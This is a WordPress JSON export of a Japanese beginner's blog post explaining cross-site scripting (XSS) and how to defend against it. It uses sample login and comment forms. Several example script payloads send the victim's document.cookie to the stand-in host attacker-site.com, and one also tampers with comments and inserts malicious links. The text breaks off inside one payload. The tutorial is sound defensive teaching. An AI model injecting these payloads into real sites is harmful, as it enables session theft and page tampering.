{"id":5908,"date":"2023-05-19T02:34:28","date_gmt":"2023-05-18T17:34:28","guid":{"rendered":"https:\/\/engineering.webstudio168.jp\/?p=5908"},"modified":"2023-05-20T01:11:27","modified_gmt":"2023-05-19T16:11:27","slug":"javascript-security-xss","status":"publish","type":"post","link":"https:\/\/engineering.webstudio168.jp\/blog\/javascript-security-xss\/","title":{"rendered":"\u521d\u5fc3\u8005\u3082\u62bc\u3055\u3048\u3066\u304a\u304f\u3079\u304dWeb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 vol.1\u3000JavaScript\u300e\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u300f \u52b9\u679c\u7684\u306a\u5bfe\u7b56\u65b9\u6cd5\u3068\u6700\u9069\u306a\u65b9\u6cd5"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_86 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u6b21<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/engineering.webstudio168.jp\/blog\/javascript-security-xss\/#XSS%E6%94%BB%E6%92%83%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E3%83%AA%E3%82%B9%E3%82%AF\" >XSS\u653b\u6483\u306e\u4ed5\u7d44\u307f\u3068\u30ea\u30b9\u30af<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/engineering.webstudio168.jp\/blog\/javascript-security-xss\/#%E5%90%84%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E8%AA%AD%E3%81%BF%E3%81%AA%E3%81%8C%E3%82%89%E3%82%82%E3%81%86%E5%B0%91%E3%81%97%E6%B7%B1%E5%A0%80%E3%82%8A%E3%81%97%E3%81%BE%E3%81%99\" >\u5404\u4ed5\u7d44\u307f\u306b\u3064\u3044\u3066\u30b3\u30fc\u30c9\u3092\u8aad\u307f\u306a\u304c\u3089\u3082\u3046\u5c11\u3057\u6df1\u5800\u308a\u3057\u307e\u3059<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/engineering.webstudio168.jp\/blog\/javascript-security-xss\/#%E3%81%A7%E3%81%AFXSS%E3%81%AB%E5%AF%BE%E3%81%99%E3%82%8B%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E3%81%AF%E4%BD%95%E3%81%8B%EF%BC%9F\" >\u3067\u306fXSS\u306b\u5bfe\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306f\u4f55\u304b\uff1f<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/engineering.webstudio168.jp\/blog\/javascript-security-xss\/#%E3%81%BE%E3%81%A8%E3%82%81\" >\u307e\u3068\u3081<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30c7\u30fc\u30bf\u4fdd\u8b77\u3068\u4fe1\u983c\u6027\u306e\u78ba\u4fdd\u306b\u3068\u3063\u3066\u4e0d\u53ef\u6b20\u3067\u3059\u306d\u3002\u7279\u306b\u3001\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08\u4ee5\u4e0b\u3001XSS\uff09\u653b\u6483\u306f\u3001JavaScript\u3092\u4f7f\u7528\u3057\u3066\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u6ce8\u5165\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30d6\u30e9\u30a6\u30b6\u4e0a\u3067\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u91cd\u5927\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af\u3092\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u8a18\u4e8b\u3067\u306f\u3001XSS\u653b\u6483\u304b\u3089Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u4fdd\u8b77\u3059\u308b\u305f\u3081\u306e\u52b9\u679c\u7684\u306a\u5bfe\u7b56\u624b\u6cd5\u3068\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306b\u3064\u3044\u3066\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8d64\u6587\u5b57\u3084\u8d64\u3044\u30e9\u30a4\u30f3\u3070\u304b\u308a\u3067\u3061\u3087\u3063\u3068\u6016\u3044\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u304c\u3001\u975e\u5e38\u306b\u91cd\u8981\u306a\u3053\u3068\u3067\u3059\u3002\u3072\u3068\u3064\u3065\u3064\u5c11\u3057\u3065\u3064\u308a\u304b\u3044\u3057\u306a\u304c\u3089\u8aad\u307f\u9032\u3081\u3066\u307f\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08CSRF\uff09\u306b\u3064\u3044\u3066\u306f\u300e<a href=\"https:\/\/engineering.webstudio168.jp\/blog\/how-to-protect-csrf\/\">\u521d\u5fc3\u8005\u3082\u62bc\u3055\u3048\u3066\u304a\u304f\u3079\u304dWeb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 vol.2 \u300e\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08CSRF\uff09\u300f\u304b\u3089\u306e\u4fdd\u8b77\u5bfe\u7b56<\/a>\u300f\u3092\u3054\u53c2\u7167\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"XSS%E6%94%BB%E6%92%83%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E3%83%AA%E3%82%B9%E3%82%AF\"><\/span>XSS\u653b\u6483\u306e\u4ed5\u7d44\u307f\u3068\u30ea\u30b9\u30af<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">XSS\u653b\u6483\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u63d0\u4f9b\u3055\u308c\u305f<strong>\u5165\u529b\u30c7\u30fc\u30bf\u304c<\/strong>\u9069\u5207\u306b\u691c\u8a3c\u30fb\u30a8\u30b9\u30b1\u30fc\u30d7\u3055\u308c\u305a\u3001Web\u30da\u30fc\u30b8\u4e0a\u3067\u5b9f\u884c\u53ef\u80fd\u306a\u30b3\u30fc\u30c9\u3068\u3057\u3066\u89e3\u91c8\u3055\u308c\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u767a\u751f\u3057\u307e\u3059\u3002\u653b\u6483\u8005\u306f\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001<span class=\"marker-red\">\u30e6\u30fc\u30b6\u30fc\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u60c5\u5831\u306e\u76d7\u307f\u53d6\u308a<\/span>\u3001<span class=\"marker-red\">\u60aa\u610f\u306e\u3042\u308b\u64cd\u4f5c\u306e\u5b9f\u884c<\/span>\u3001<span class=\"marker-red\">\u4e0d\u6b63\u306a\u5e83\u544a\u306e\u8868\u793a<\/span>\u306a\u3069\u3001\u3055\u307e\u3056\u307e\u306a\u60aa\u5f71\u97ff\u3092\u3082\u305f\u3089\u3059\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">XSS\u653b\u6483\u306e\u4ed5\u7d44\u307f\u306f\u6b21\u306e\u3088\u3046\u306a\u624b\u9806\u3067\u884c\u308f\u308c\u307e\u3059\u3002<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u653b\u6483\u8005\u306f\u3001Web\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u5185\u306e<strong>\u8106\u5f31\u306a\u5165\u529b\u30d5\u30a3\u30fc\u30eb\u30c9<\/strong>\u3084<strong>URL\u30d1\u30e9\u30e1\u30fc\u30bf<\/strong>\u306a\u3069\u3001\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u3092\u7279\u5b9a\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li>\u653b\u6483\u8005\u306f\u3001\u305d\u306e\u5165\u529b\u30dd\u30a4\u30f3\u30c8\uff08\u6a5f\u80fd\uff09\u306b\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u6ce8\u5165\u3057\u307e\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u306f\u3001<span class=\"marker-under-blue\">\u4e00\u822c\u7684\u306bJavaScript\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059<\/span>\u3002<\/li>\n\n\n\n<li>Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u3001<strong>\u653b\u6483\u8005\u304b\u3089\u306e\u5165\u529b\u3092\u4fe1\u983c\u305b\u305a\u306b\u51e6\u7406\u3059\u3079\u304d<\/strong>\uff08<span class=\"red\">\u5168\u54e1\u304c\u5168\u54e1\u904b\u55b6\u5074\u306e\u601d\u3044\u901a\u308a\u306e\u7121\u96e3\u306a\u5165\u529b\u306f\u3057\u306a\u3044<\/span><span class=\"red\">\u524d\u63d0\u3092\u3082\u3064\u3053\u3068<\/span>\uff09\u3067\u3059\u304c\u3001\u9069\u5207\u306a\u691c\u8a3c\u3084\u30a8\u30b9\u30b1\u30fc\u30d7\u304c\u884c\u308f\u308c\u3066\u3044\u306a\u3044\u5834\u5408\u3001\u6ce8\u5165\u3055\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u306f\u305d\u306e\u307e\u307e\u30e6\u30fc\u30b6\u30fc\u306e\u30d6\u30e9\u30a6\u30b6\u306b\u51fa\u529b\u3055\u308c\u307e\u3059\u3002<\/li>\n\n\n\n<li>\u30e6\u30fc\u30b6\u30fc\u304cWeb\u30da\u30fc\u30b8\u3092\u95b2\u89a7\u3059\u308b\u969b\u3001\u30d6\u30e9\u30a6\u30b6\u306f\u6ce8\u5165\u3055\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u30d6\u30e9\u30a6\u30b6\u4e0a\u3067<span class=\"bold-red\">\u4efb\u610f\u306e\u64cd\u4f5c\u3084\u60c5\u5831\u306e\u76d7\u307f\u53d6\u308a\u3092\u884c\u3046<\/span>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u307e\u305f\u3001XSS\u653b\u6483\u306e\u30ea\u30b9\u30af\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u3082\u306e\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u3010\u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u306e\u76d7\u307f\u53d6\u308a\u3011\u653b\u6483\u8005\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e<span class=\"bold-red\">\u30bb\u30c3\u30b7\u30e7\u30f3\u30fb\u30af\u30c3\u30ad\u30fc\u3084\u30d1\u30b9\u30ef\u30fc\u30c9\u306a\u3069\u306e\u500b\u4eba\u60c5\u5831\u3092\u76d7\u307f\u53d6\u308b<\/span>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n\n\n\n<li>\u3010\u4e0d\u6b63\u306a\u64cd\u4f5c\u306e\u5b9f\u884c\u3011\uff1a\u653b\u6483\u8005\u306f\u3001<span class=\"bold-red\">\u30e6\u30fc\u30b6\u30fc\u306e\u4ee3\u308f\u308a\u306b\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd<\/span>\u3067\u3059\u3002\u4f8b\u3048\u3070\u3001\u60aa\u610f\u306e\u3042\u308b\u30c8\u30e9\u30f3\u30b6\u30af\u30b7\u30e7\u30f3\u306e\u5b9f\u884c\u3084\u3001\u4e0d\u6b63\u306a\u64cd\u4f5c\u306b\u3088\u308b\u30c7\u30fc\u30bf\u306e\u6539\u3056\u3093\u304c\u6319\u3052\u3089\u308c\u307e\u3059\u3002<\/li>\n\n\n\n<li>\u3010\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u653b\u6483\u3011\uff1a\u653b\u6483\u8005\u306f\u3001Web\u30da\u30fc\u30b8\u306e<span class=\"bold-red\">\u507d\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u3084\u60c5\u5831\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u3092\u8868\u793a\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u500b\u4eba\u60c5\u5831\u3092\u9a19\u3057\u53d6\u308b<\/span>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n\n\n\n<li>\u3010\u60aa\u610f\u306e\u3042\u308b\u5e83\u544a\u306e\u8868\u793a\u3011\uff1a\u653b\u6483\u8005\u306f\u3001Web\u30da\u30fc\u30b8\u4e0a\u306b<span class=\"bold-red\">\u4e0d\u6b63\u306a\u5e83\u544a\u3092\u8868\u793a\u3059\u308b\u3053\u3068\u3067\u5229\u76ca\u3092\u5f97\u308b<\/span>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n\n\n\n<li>\u3010\u30b5\u30a4\u30c8\u306e\u4fe1\u983c\u6027\u4f4e\u4e0b\u3011\uff1aXSS\u653b\u6483\u306b\u3088\u3063\u3066Web\u30da\u30fc\u30b8\u304c\u88ab\u5bb3\u3092\u53d7\u3051\u308b\u3068\u3001\u305d\u306e<span class=\"bold-red\">\u30b5\u30a4\u30c8\u306e\u4fe1\u983c\u6027\u306f\u5931\u589c\u3057\u3001\u30a2\u30af\u30bb\u30b9\u304c\u6fc0\u6e1b\u3059\u308b<\/span>\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">XSS\u653b\u6483\u306f\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u3068\u3063\u3066\u6df1\u523b\u306a\u8105\u5a01\u3068\u306a\u308a\u307e\u3059\u3002<strong>\u9069\u5207\u306a\u5165\u529b\u30c7\u30fc\u30bf\u306e\u691c\u8a3c<\/strong>\u3001<strong>\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406<\/strong>\u3001<strong>CSP\u306e\u5b9f\u88c5<\/strong>\u306a\u3069\u306e\u5bfe\u7b56\u3092\u884c\u3046\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%90%84%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E8%AA%AD%E3%81%BF%E3%81%AA%E3%81%8C%E3%82%89%E3%82%82%E3%81%86%E5%B0%91%E3%81%97%E6%B7%B1%E5%A0%80%E3%82%8A%E3%81%97%E3%81%BE%E3%81%99\"><\/span>\u5404\u4ed5\u7d44\u307f\u306b\u3064\u3044\u3066\u30b3\u30fc\u30c9\u3092\u8aad\u307f\u306a\u304c\u3089\u3082\u3046\u5c11\u3057\u6df1\u5800\u308a\u3057\u307e\u3059<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><span class=\"bold-red\">\u203b\u3053\u308c\u304b\u3089\u89e3\u8aac\u3059\u308b\u3053\u3068\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3092\u3069\u3046\u3057\u3066\u3044\u304f\u304b\u306b\u3064\u3044\u3066\u3067\u3059\u3002\u9006\u8aad\u307f\u3057\u3066\u5371\u967a\u306a\u3053\u3068\u306f\u3057\u306a\u3044\u3067\u304f\u3060\u3055\u3044\u3002\u72af\u7f6a\u306b\u5f53\u305f\u308a\u307e\u3059\u3002<\/span><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8106\u5f31\u306a\u5165\u529b\u30d5\u30a3\u30fc\u30eb\u30c9<\/strong>\u3084<strong>URL\u30d1\u30e9\u30e1\u30fc\u30bf<\/strong>\u3068\u3042\u308a\u307e\u3057\u305f\u304c\u3001\u5177\u4f53\u7684\u306b\u306f\u540c\u69d8\u306a\u30bd\u30fc\u30b9\u304c\u8a72\u5f53\u3059\u308b\u306e\u304b\u78ba\u8a8d\u3057\u3066\u304a\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-html\" data-file=\"simple-form.html\" data-lang=\"HTML\"><code>&lt;form action=&quot;\/login&quot; method=&quot;POST&quot;&gt;\n  &lt;input type=&quot;text&quot; name=&quot;username&quot; placeholder=&quot;\u30e6\u30fc\u30b6\u30fc\u540d&quot;&gt;\n  &lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;\u30d1\u30b9\u30ef\u30fc\u30c9&quot;&gt;\n  &lt;button type=&quot;submit&quot;&gt;\u30ed\u30b0\u30a4\u30f3&lt;\/button&gt;\n&lt;\/form&gt;\n\u653b\u6483\u8005\u306f\u3001\u3053\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0<\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u3048\u3070\u3001\u4e0a\u8a18\u306e\u3088\u3046\u306a\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u304c\u3042\u308b\u3068\u3057\u307e\u3059\u3002\u653b\u6483\u8005\u306f\u3001<span class=\"red\"><span class=\"bold\"><span class=\"keyboard-key\">\u3053\u306e\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0\u306e\u30e6\u30fc\u30b6\u30fc\u540d\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u6ce8\u5165\u3059\u308b\u3053\u3068\u3067XSS\u653b\u6483\u3092\u8a66\u307f\u307e\u3059<\/span><\/span><\/span>\u3002\u4ee5\u4e0b\u306b\u653b\u6483\u8005\u304c\u6ce8\u5165\u3059\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u306e\u4f8b\u3092\u793a\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-html\" data-file=\"attacker001.html\" data-lang=\"HTML\"><code>&lt;script&gt;\n  \/\/ \u30e6\u30fc\u30b6\u30fc\u306e\u30af\u30c3\u30ad\u30fc\u60c5\u5831\u3092\u653b\u6483\u8005\u306e\u30b5\u30a4\u30c8\u306b\u9001\u4fe1\u3059\u308b\n  var img = new Image();\n  img.src = &quot;https:\/\/attacker-site.com\/steal?cookie=&quot; + document.cookie;\n&lt;\/script&gt;<\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u5341\u5206\u306a\u691c\u8a3c\u3084\u30a8\u30b9\u30b1\u30fc\u30d7\u3092\u884c\u3063\u3066\u3044\u306a\u3044\u5834\u5408\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u306f\u305d\u306e\u307e\u307e\u30d6\u30e9\u30a6\u30b6\u306b\u51fa\u529b\u3055\u308c\u3001\u653b\u6483\u8005\u306e\u610f\u56f3\u3057\u305f\u901a\u308a\u306b\u5b9f\u884c\u3055\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002<span class=\"marker-under\">\u7d50\u679c\u3068\u3057\u3066\u3001\u653b\u6483\u8005\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u30af\u30c3\u30ad\u30fc\u60c5\u5831\u3092\u76d7\u307f\u53d6\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059<\/span>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u307e\u305f\u3001XSS\u653b\u6483\u306b\u3088\u3063\u3066\u3001\u653b\u6483\u8005\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u4ee3\u308f\u308a\u306b\u3055\u307e\u3056\u307e\u306a\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002\u4ee5\u4e0b\u306b\u5177\u4f53\u7684\u306a\u30b3\u30fc\u30c9\u4f8b\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-html\" data-file=\"simple-2.html\" data-lang=\"HTML\"><code>&lt;!-- \u30b3\u30e1\u30f3\u30c8\u8868\u793a\u90e8\u5206 --&gt;\n&lt;div id=&quot;comments&quot;&gt;\n  &lt;!-- \u30b3\u30e1\u30f3\u30c81 --&gt;\n  &lt;div class=&quot;comment&quot;&gt;\n    &lt;span class=&quot;username&quot;&gt;\u30e6\u30fc\u30b6\u30fcA&lt;\/span&gt;\n    &lt;span class=&quot;content&quot;&gt;\u30b3\u30e1\u30f3\u30c8\u5185\u5bb91&lt;\/span&gt;\n  &lt;\/div&gt;\n\n  &lt;!-- \u30b3\u30e1\u30f3\u30c82 --&gt;\n  &lt;div class=&quot;comment&quot;&gt;\n    &lt;span class=&quot;username&quot;&gt;\u30e6\u30fc\u30b6\u30fcB&lt;\/span&gt;\n    &lt;span class=&quot;content&quot;&gt;\u30b3\u30e1\u30f3\u30c8\u5185\u5bb92&lt;\/span&gt;\n  &lt;\/div&gt;\n&lt;\/div&gt;\n\n&lt;!-- \u30b3\u30e1\u30f3\u30c8\u6295\u7a3f\u30d5\u30a9\u30fc\u30e0 --&gt;\n&lt;form id=&quot;comment-form&quot; action=&quot;\/post-comment&quot; method=&quot;POST&quot;&gt;\n  &lt;input type=&quot;text&quot; name=&quot;username&quot; placeholder=&quot;\u30e6\u30fc\u30b6\u30fc\u540d&quot;&gt;\n  &lt;textarea name=&quot;content&quot; placeholder=&quot;\u30b3\u30e1\u30f3\u30c8\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044&quot;&gt;&lt;\/textarea&gt;\n  &lt;button type=&quot;submit&quot;&gt;\u30b3\u30e1\u30f3\u30c8\u6295\u7a3f&lt;\/button&gt;\n&lt;\/form&gt;<\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u6483\u8005\u306f\u3001<span class=\"marker-under-red\">\u30b3\u30e1\u30f3\u30c8\u6295\u7a3f\u30d5\u30a9\u30fc\u30e0\u306e\u30e6\u30fc\u30b6\u30fc\u540d\u3084\u30b3\u30e1\u30f3\u30c8\u5185\u5bb9\u306b\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u6ce8\u5165\u3059\u308b\u3053\u3068\u3067XSS\u653b\u6483\u3092\u884c\u3044\u307e\u3059<\/span>\u3002\u4ee5\u4e0b\u306b\u653b\u6483\u8005\u304c\u6ce8\u5165\u3059\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u306e\u4f8b\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-js\" data-lang=\"JavaScript\"><code>&lt;script&gt;\n  \/\/ \u653b\u6483\u8005\u306e\u30b5\u30a4\u30c8\u306b\u30af\u30c3\u30ad\u30fc\u60c5\u5831\u3092\u9001\u4fe1\u3059\u308b\n  var img = new Image();\n  img.src = &quot;https:\/\/attacker-site.com\/steal?cookie=&quot; + document.cookie;\n\n  \/\/ \u30e6\u30fc\u30b6\u30fc\u306e\u30b3\u30e1\u30f3\u30c8\u3092\u6539\u3056\u3093\u3059\u308b\n  var comments = document.getElementsByClassName(&#39;comment&#39;);\n  for (var i = 0; i &lt; comments.length; i++) {\n    var comment = comments[i];\n    var username = comment.getElementsByClassName(&#39;username&#39;)[0];\n    var content = comment.getElementsByClassName(&#39;content&#39;)[0];\n\n    \/\/ \u653b\u6483\u8005\u306e\u30b5\u30a4\u30c8\u3078\u306e\u30ea\u30f3\u30af\u3092\u8ffd\u52a0\u3059\u308b\n    var link = document.createElement(&#39;a&#39;);\n    link.href = &#39;https:\/\/attacker-site.com\/malicious-link&#39;;\n    link.textContent = &#39;\u60aa\u610f\u306e\u3042\u308b\u30ea\u30f3\u30af&#39;;\n\n    content.appendChild(document.createElement(&#39;br&#39;));\n    content.appendChild(link);\n\n    \/\/ \u30e6\u30fc\u30b6\u30fc\u540d\u3092\u5909\u66f4\u3059\u308b\n    username.textContent = &#39;\u653b\u6483\u8005\u304c\u6539\u3056\u3093&#39;;\n  }\n&lt;\/script&gt;<\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u3053\u306e\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u30b3\u30e1\u30f3\u30c8\u6295\u7a3f\u30d5\u30a9\u30fc\u30e0\u306e\u30e6\u30fc\u30b6\u30fc\u540d\u30d5\u30a3\u30fc\u30eb\u30c9\u3084\u30b3\u30e1\u30f3\u30c8\u5185\u5bb9\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u5165\u529b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-html\" data-file=\"attack-002.html\" data-lang=\"HTML\"><code>&lt;script&gt;\n  var img = new Image();\n  img.src = &quot;https:\/\/attacker-site.com\/steal?cookie=&quot; + document.cookie;\n  var comments = document.getElementsByClassName(&#39;comment&#39;);\n  for (var i = 0; i &lt; comments.length; i++) {\n    var comment = comments[i];\n    var username = comment.getElementsByClassName(&#39;username&#39;)[0];\n    var content = comment.getElementsByClassName(&#39;content&#39;)[0];\n    var link = 